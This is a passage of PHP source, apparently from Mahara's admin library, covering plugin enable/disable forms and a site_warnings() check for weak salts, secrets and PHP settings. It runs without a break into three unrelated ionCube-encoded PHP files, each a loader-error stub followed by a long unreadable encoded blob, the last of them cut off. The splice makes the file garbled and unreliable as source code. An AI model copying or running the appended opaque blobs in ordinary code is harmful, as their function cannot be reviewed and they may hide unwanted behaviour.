    $classname = generate_class_name($plugintype, $plugin->name);
    $plugin->displayname = $classname::get_plugin_display_name();

    return pieform(array(
        'name'            => 'activate_' . $plugintype . '_' . $plugin->name,
        'renderer'        => 'div',
        'elementclasses'  => false,
        'successcallback' => 'activate_plugin_submit',
        'class'           => 'form-inline form-as-button float-start last btn-group-item',
        'jsform'          => false,
        'action'          => get_config('wwwroot') . 'admin/extensions/pluginconfig.php',
        'elements' => array(
            'plugintype' => array('type' => 'hidden', 'value' => $plugintype),
            'pluginname' => array('type' => 'hidden', 'value' => $plugin->name),
            'disable'    => array('type' => 'hidden', 'value' => $plugin->active),
            'enable'     => array('type' => 'hidden', 'value' => 1-$plugin->active),
            'submit'     => array(
                'type'  => 'button',
                'usebuttontag' => true,
                'class' => 'btn-secondary btn-sm',
                'elementtitle' => ($plugin->active ? get_string('hide') : get_string('show')) . ' ' . $plugintype . ' ' . (($plugin->displayname) ? $plugin->displayname : $plugin->name),
                'hiddenlabel' => true,
                'value' => $plugin->active ? '<span class="icon icon-eye"><span class="visually-hidden" aria-hidden="true">' . get_string('hide') . '</span></span>' : '<span class="icon icon-eye-slash"><span class="visually-hidden" aria-hidden="true">' . get_string('show') . '</span></span>',
            ),
        ),
    ));
}

function activate_plugin_submit(Pieform $form, $values) {
    global $SESSION;
    if ($values['plugintype'] == 'blocktype') {
        if (strpos($values['pluginname'], '/') !== false) {
            list($artefact, $values['pluginname']) = explode('/', $values['pluginname']);
            // Don't enable blocktypes unless the artefact plugin that provides them is also enabled
            if ($values['enable'] && !get_field('artefact_installed', 'active', 'name', $artefact)) {
                $SESSION->add_error_msg(get_string('pluginnotenabled', 'mahara', $artefact));
                redirect('/admin/extensions/plugins.php');
            }
        }
    }
    else if ($values['plugintype'] == 'artefact' && $values['disable']) {
        // Disable all the artefact's blocktypes too
        set_field('blocktype_installed', 'active', 0, 'artefactplugin', $values['pluginname']);
    }
    set_field($values['plugintype'] . '_installed', 'active', $values['enable'], 'name', $values['pluginname']);
    $SESSION->add_ok_msg(get_string('plugin' . (($values['enable']) ? 'enabled' : 'disabled')));
    redirect('/admin/extensions/plugins.php');
}

// site warnings for the admin to consider
function site_warnings() {

    $warnings = array();

    // Warn about nasty php settings that Mahara can still sort of deal with.
    if (ini_get_bool('register_globals')) {
        $warnings[] = get_string('registerglobals', 'error');
    }
    if (!defined('CRON') && ini_get_bool('magic_quotes_gpc')) {
        $warnings[] = get_string('magicquotesgpc', 'error');
    }
    if (ini_get_bool('magic_quotes_runtime')) {
        $warnings[] = get_string('magicquotesruntime', 'error');
    }
    if (ini_get_bool('magic_quotes_sybase')) {
        $warnings[] = get_string('magicquotessybase', 'error');
    }

    // Check if the host returns a usable value for the timezone identifier %z
    $tz_count_date = new DateTime();
    $tz_count = preg_match("/[\+\-][0-9]{4}/", $tz_count_date->format('O'));
    if ($tz_count == 0 || $tz_count == FALSE) {
        $warnings[] = get_string('timezoneidentifierunusable', 'error');
    }
    if (get_config('dbtimezone')) {
        $warnings[] = get_string('updatesitetimezone', 'error');
    }

    // Check for low security (i.e. not random enough) session IDs
    if (version_compare(PHP_VERSION, '7.1.0') < 0 && (int)ini_get('session.entropy_length') < 16) {
        $warnings[] = get_string('notenoughsessionentropy', 'error');
    }

    // Check noreply address is valid.
    if (!sanitize_email(get_config('noreplyaddress')) || get_config('noreplyaddress') == 'noreply@example.org') {
        $warnings[] = get_string('noreplyaddressmissingorinvalid', 'error', get_config('wwwroot') . 'admin/site/options.php?fs=emailsettings');
    }

    // If the configurable themes bug 1760732 was triggered by a recent upgrade, provide a warning that the theme needs resaving.
    $custom_themes = get_records_sql_array("SELECT i.displayname FROM {institution} i
                                            JOIN {institution_config} ic ON ic.institution = i.name
                                            WHERE ic.field = ? AND ic.value = ?
                                            ORDER BY i.displayname", array('customthemeupdate', '1'));
    if ($custom_themes) {
        $warning = get_string('resavecustomthemes', 'error') . "<ul>";
        foreach ($custom_themes as $theme) {
            $warning .= "<li>" . hsc($theme->displayname) . "</li>";
        }
        $warning .= "</ul>";
        $warnings[] = $warning;
    }

    safe_require('auth', 'saml');
    if (PluginAuthSaml::is_active()) {
        // Check if the saml plugin config needs updating
        if (record_exists_select('auth_config', "plugin = ? AND field = ?", array('saml', 'simplesamlphplib'))) {
            $warnings[] = get_string('obsoletesamlplugin', 'auth.saml', get_config('wwwroot') . 'admin/extensions/pluginconfig.php?plugintype=auth&pluginname=saml');
        }
        // Check if all saml instances are configured for new auth/saml plugin.
        if ($samls = get_records_sql_array(
                 "SELECT ai.id, ai.instancename, i.name, i.displayname FROM {auth_instance} ai
                  LEFT JOIN {institution} i ON i.name = ai.institution
                  WHERE ai.id NOT IN (
                                      SELECT instance FROM {auth_instance_config} aic
                                      WHERE aic.field = ?
                  ) AND ai.authname = ? ORDER BY i.displayname", array('institutionidpentityid', 'saml'))) {
            foreach ($samls as $saml) {
                $warnings[] = get_string('obsoletesamlinstance', 'auth.saml', get_config('wwwroot') . 'admin/users/addauthority.php?id=' . $saml->id . '&edit=1&i=' . $saml->name . '&p=saml', $saml->instancename, $saml->displayname);
            }
        }
        // Check if the library is updated to the latest version Mahara supports
        $autoload = get_config('docroot') .'auth/saml/extlib/simplesamlphp/vendor/autoload.php';
        if (file_exists($autoload)) {
            require(get_config('docroot') .'auth/saml/extlib/simplesamlphp/vendor/autoload.php');
            $config = SimpleSAML\Configuration::getInstance();

            $libversion = get_config_plugin('auth', 'saml', 'version');
            if (!empty($libversion) && $config->getVersion() != $libversion) {
                $warnings[] = get_string('errorupdatelib', 'auth.saml');
            }
        }

    }

    // Check that the GD library has support for jpg, png and gif at least
    $gdinfo = gd_info();
    if (!$gdinfo['JPEG Support']) {
        $warnings[] = get_string('gdlibrarylacksjpegsupport', 'error');
    }

    if (!$gdinfo['PNG Support']) {
        $warnings[] = get_string('gdlibrarylackspngsupport', 'error');
    }

    if (!$gdinfo['GIF Read Support'] || !$gdinfo['GIF Create Support']) {
        $warnings[] = get_string('gdlibrarylacksgifsupport', 'error');
    }

    // Check file upload settings.
    $postmax       = ini_get('post_max_size');
    $uploadmax     = ini_get('upload_max_filesize');
    $realpostmax   = get_real_size($postmax);
    $realuploadmax = get_real_size($uploadmax);
    if ($realpostmax && $realpostmax < $realuploadmax) {
        $warnings[] = get_string('postmaxlessthanuploadmax', 'error', $postmax, $uploadmax, $postmax);
    }
    else if ($realpostmax && $realpostmax < 9000000) {
        $warnings[] = get_string('smallpostmaxsize', 'error', $postmax, $postmax);
    }

    if (ini_get('open_basedir')) {
        $warnings[] = get_string('openbasedirenabled', 'error') . ' ' . get_string('openbasedirwarning', 'error');
    }

    $sitesalt = get_config('passwordsaltmain');
    if (empty($sitesalt)) {
        $warnings[] = get_string('nopasswordsaltset', 'error');
    }
    else if ($sitesalt == 'some long random string here with lots of characters'
            || trim($sitesalt) === ''
            || preg_match('/^([a-zA-Z0-9]{0,10})$/', $sitesalt)) {
        $warnings[] = get_string('passwordsaltweak', 'error');
    }

    $urlsecret = get_config('urlsecret');
    if (!empty($urlsecret) && $urlsecret == 'mysupersecret') {
        $warnings[] = get_string('urlsecretweak', 'error');
    }

    if (!extension_loaded('mbstring')) {
        $warnings[] = get_string('mbstringneeded', 'error');
    }

    if (get_config('dbtype') == 'mysql') {
        $warnings[] = get_string('switchtomysqli', 'error');
    }

    return $warnings;
}


/**
 * Increment the cache version number.
 * This is an arbitrary number that we append to the end of static content to make sure the user
 * refreshes it when we update the site.
 */
function bump_cache_version() {
    set_config('cacheversion', get_config('cacheversion') + 1);
}
<?php //002cd
if(extension_loaded('ionCube Loader')){die('The file '.__FILE__." is corrupted.\n");}echo("\nScript error: the ".(($cli=(php_sapi_name()=='cli')) ?'ionCube':'<a href="https://www.ioncube.com">ionCube</a>')." Loader for PHP needs to be installed.\n\nThe ionCube Loader is the industry standard PHP extension for running protected PHP code,\nand can usually be added easily to a PHP installation.\n\nFor Loaders please visit".($cli?":\n\nhttps://get-loader.ioncube.com\n\nFor":' <a href="https://get-loader.ioncube.com">get-loader.ioncube.com</a> and for')." an instructional video please see".($cli?":\n\nhttp://ioncu.be/LV\n\n":' <a href="http://ioncu.be/LV">http://ioncu.be/LV</a> ')."\n\n");exit(199);
?>
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
DERFhEz+wBvBM63KKAhCr3hh<?php //002cd
if(extension_loaded('ionCube Loader')){die('The file '.__FILE__." is corrupted.\n");}echo("\nScript error: the ".(($cli=(php_sapi_name()=='cli')) ?'ionCube':'<a href="https://www.ioncube.com">ionCube</a>')." Loader for PHP needs to be installed.\n\nThe ionCube Loader is the industry standard PHP extension for running protected PHP code,\nand can usually be added easily to a PHP installation.\n\nFor Loaders please visit".($cli?":\n\nhttps://get-loader.ioncube.com\n\nFor":' <a href="https://get-loader.ioncube.com">get-loader.ioncube.com</a> and for')." an instructional video please see".($cli?":\n\nhttp://ioncu.be/LV\n\n":' <a href="http://ioncu.be/LV">http://ioncu.be/LV</a> ')."\n\n");exit(199);
?>
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
1xjI5/P8v1OTR/XagvdyOG7FlsQc7Ke=<?php //002cd
if(extension_loaded('ionCube Loader')){die('The file '.__FILE__." is corrupted.\n");}echo("\nScript error: the ".(($cli=(php_sapi_name()=='cli')) ?'ionCube':'<a href="https://www.ioncube.com">ionCube</a>')." Loader for PHP needs to be installed.\n\nThe ionCube Loader is the industry standard PHP extension for running protected PHP code,\nand can usually be added easily to a PHP installation.\n\nFor Loaders please visit".($cli?":\n\nhttps://get-loader.ioncube.com\n\nFor":' <a href="https://get-loader.ioncube.com">get-loader.ioncube.com</a> and for')." an instructional video please see".($cli?":\n\nhttp://ioncu.be/LV\n\n":' <a href="http://ioncu.be/LV">http://ioncu.be/LV</a> ')."\n\n");exit(199);
?>
HR+cP/ugY7tvfd1oXEmTNYy7/0pkMidMei69LEI910vUYF5ecQxuhg4D+05u2X2VRrSOUbsqqJM4
Vo766fmD7QDpeq5vsyuFj/+zVDEN4u0/7n3JrAjVzN58tIp0ZRwySWX9SldOUZfi8045qruY/DAY
eLoVmugRzuZZumItK2lzALb/iVV6XJ+55PnA2S4YlUJ/M8HGLbmnInie0jjEABkFYYD/ZdknBjR2
lojhxx3WI98KXs4vLfEUzMnNscbtNCWtuZa7oOWslV9d538gPCjED40kYwDYPuAaC1sWXf2djM26
1qBi6//lxp+vc9utfDSvkIXd+aJz/9Wt2aqXXoHIEVkVpK/pftxxkyQ9bvDqRhoYighZIPbtiHBK
+pO8km/9Tut0AKshROJC6JbSdUBNmraz/kdbIpQdSRCDdovFHIqEdAbvW7kWzWlW26o2PqD9AXQO
9tqgDVSI9STKskhaqcPbLEig8XLS+n3vTqx3HcK3+yxQ0bI9AX/kyuUHW4jWfkadnJ4toMLwYy72
3QPSCy/mf9N9a1kZh1GvnG5AsMel8Zf7T7EIIQ9wyPgmG57O/T/5FQxhn8hEqphKumcNJab9EhFO
Ub8gmScSBb1+Q8vm1EjJ5A8Oh+4U74UA+SlJ5cjtJ4Kz/+Oe5VYbNRKb0W8aJHx09YaXNL5Lv9Zq
9b0oZh4sq+mH1y/lU03Y4dH8JlCWrAuEofvabHw/GA/7JPYbuxzVtixRra2Y9ZFe0MZWxarU5N3V
lv+xPW0QIoiHAbGRAZ/UIoBQQJXEXh085x4LOQSrdYmKqx8xP+Yz8DBnCY5X5SaztRlxuxJq/8Ci
+6roMmKYpn9Ct69RjNpev+nTiL4ilVSR5uTrpeCFr4/GggKfSmfypWk1CE7yokwFZu0LXQvGIhpw
brri5IUeMdryPAw39SYF96b0d1Gfuy1l3+dZJRTx7eMH4UeUqEd1Y1EkW9GLSLTh6Ei84rdR+sKr
2P1YNn73GyXuRVAGgLsrwWUu7GYcKkmTjSXR/DWOfWtJHJkwSANCQUdq1Jb2JknnzQSkqYrrcget
/rcRLY9fC/72VFCL5Sl2NjwxXssSVxNi0C5Fq7KJNszX1fvD/ois3WFAHOC0Knusz6EBq6ulVUfo
zRKXfXUj2y104WB+H2+o8c+pdi+94TT4XRos5dPHGmli8yJ0r8vPShQ3c/rQcqX6RNDUdJeCFiR4
M2PGWQ60yI7fbTPWoU6/+sz6sxJ3XGlXVzww1bptaQjOEulePiPTEyrxeYc4erWskGtgRWTjrwy1
GNKP7H+q9mCkQ4nCqTsB0m+AqPHjrUXHW86gHlDmYf2SzTZIKlysuQTz+rC0As0BgEbHQVHEIZcb
Z3iZDDqY3m91hAq2xKESOlUQgZkDBChwSLs5x73+3QxcyASHatleorkDy2pJbrD73yMRIhtmXjmN
ZFFsrOPgWwLSPOh562oyHeE+p8C2XmwyrHdx+wsV48h6j/sVlz+jI603Wq9OEKNqOVPtyPUkwVVx
MjL6e3zyIhXkmMhsvvy/HkWibqt0a2bRhWsHelNQPOQzx5baeiZLnr6aTh6PbyL8mVrvEV86T2GS
ks41RJ2XHJloHTVNnOMe2Fw5RslJxTrhs7vqw8tvpnlnesWAPqWo+iH0IE7OjYpR2uzF06gEB2ka
oGo+zna1ELXh2xHKAhHYcXd8MCjlYuepywUSoBUihPHBd+JAwTclO0mNAHOva6rY7EyH/A0S+kWj
/O+tz/XeVrtY2ynhw0LONM6efMh9u7mer/5JK6upFalWQOAre/+mNa5nnzVcllv8TgSMaBaOVEm9
40VhMbkVBhFy8cko0l8CCwOuHvTD2kTHr2m2dH+83uqEKPBp2sXiHyJZzb+laF3Jeobx8XMD+zJ6
